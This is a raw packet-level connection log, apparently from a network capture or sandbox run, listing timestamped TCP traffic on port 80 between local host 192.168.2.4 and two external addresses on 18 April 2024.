Apr 18, 2024 23:40:23.019090891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019110918 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019134045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019156933 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019180059 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019196033 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019222975 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019248962 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019272089 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019296885 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019326925 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019351006 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019376993 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019393921 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019423008 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019443035 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019465923 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019489050 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019511938 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019529104 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019556046 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019587994 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019609928 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019634008 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019656897 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019676924 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019699097 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019722939 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019748926 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019763947 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019788980 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019810915 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019830942 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019855022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019876003 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019900084 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019928932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019942045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019967079 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019989967 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020009041 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020031929 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020056009 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020076036 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020098925 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020122051 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020139933 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020164013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020194054 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020214081 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020241976 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020267963 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020283937 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020323038 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020337105 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020359993 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020385027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020406008 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020428896 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020447969 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020471096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020493984 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020517111 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020535946 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020562887 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020585060 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020607948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020622015 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020647049 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020668983 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020689964 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020711899 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020735979 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020755053 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020777941 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020809889 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020832062 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020854950 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020881891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020899057 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020925045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020946026 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020968914 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.020991087 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.021011114 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.021034956 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.021061897 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.021074057 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.021104097 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.021125078 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.021138906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.140660048 CEST	80	49795	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.140726089 CEST	49795	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.141062021 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.141146898 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.147064924 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.150548935 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.150640011 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.162781000 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.162822008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.162831068 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.162868023 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.167160988 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.167202950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.167211056 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.167306900 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.172753096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.172806978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.172811031 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.172847986 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.172851086 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.172887087 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.172940016 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.172945976 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.172977924 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.172983885 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.173017025 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.173022032 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.173058033 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176389933 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176429987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176439047 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176469088 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176472902 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176508904 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176518917 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176548958 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176551104 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176589966 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176592112 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176630020 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176630020 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176667929 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176671982 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176704884 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176712036 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176742077 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176744938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176798105 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176834106 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176834106 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176846981 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176872015 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176879883 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176909924 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176913977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.176948071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176985025 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.176994085 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177021980 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177033901 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177062035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177064896 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177099943 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177100897 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177138090 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177145958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177177906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177181005 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177221060 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177231073 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177261114 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177263975 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177299976 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177304983 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177336931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177340984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177376032 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177383900 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177414894 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177417040 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177453041 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177457094 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177490950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177495003 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177529097 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177531958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177567959 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177571058 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177606106 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177608967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177645922 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177649021 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177685976 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177689075 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177723885 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177727938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177763939 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177769899 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177802086 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177804947 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177839994 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177843094 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177877903 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177880049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177916050 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177917957 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.177952051 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177990913 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.177995920 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178029060 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178037882 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178066969 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178067923 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178105116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178107977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178143024 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178145885 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178179979 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178185940 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178217888 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178219080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178256035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178256989 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178293943 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178330898 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178333998 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178369999 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178380013 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178409100 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178410053 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178447962 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178451061 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178487062 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178491116 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178524971 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178527117 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178563118 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178563118 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178601027 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178602934 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178637981 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178639889 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178674936 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178675890 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178713083 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178714991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178750992 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178752899 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178787947 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178788900 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178823948 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178824902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178862095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178867102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178900957 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178937912 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178941965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.178982973 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.178983927 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179020882 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179020882 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179056883 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179059029 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179095984 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179096937 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179135084 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179142952 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179173946 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179174900 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179213047 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179214001 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179251909 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179251909 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179289103 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179291964 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179327965 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179330111 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179367065 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179368973 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179420948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179429054 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179460049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179459095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179496050 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179522038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179533958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179534912 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179570913 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179577112 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179610014 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179610014 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179647923 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179685116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179687977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179723978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179733038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179759979 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179764032 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179799080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179800987 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179837942 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179876089 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179877043 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179908037 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179913044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179949999 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179954052 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.179987907 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.179990053 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180027008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180027962 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180063963 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180066109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180105925 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180126905 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180165052 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180166006 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180206060 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180206060 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180243969 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180282116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180284977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180320978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180322886 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180360079 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180360079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180394888 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180399895 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180437088 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180438042 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180474997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180475950 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180514097 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180552006 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180555105 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180589914 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180591106 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180627108 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180628061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180665016 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.180665970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.180704117 CEST	80	49768	193.233.132.167	192.168.2.4
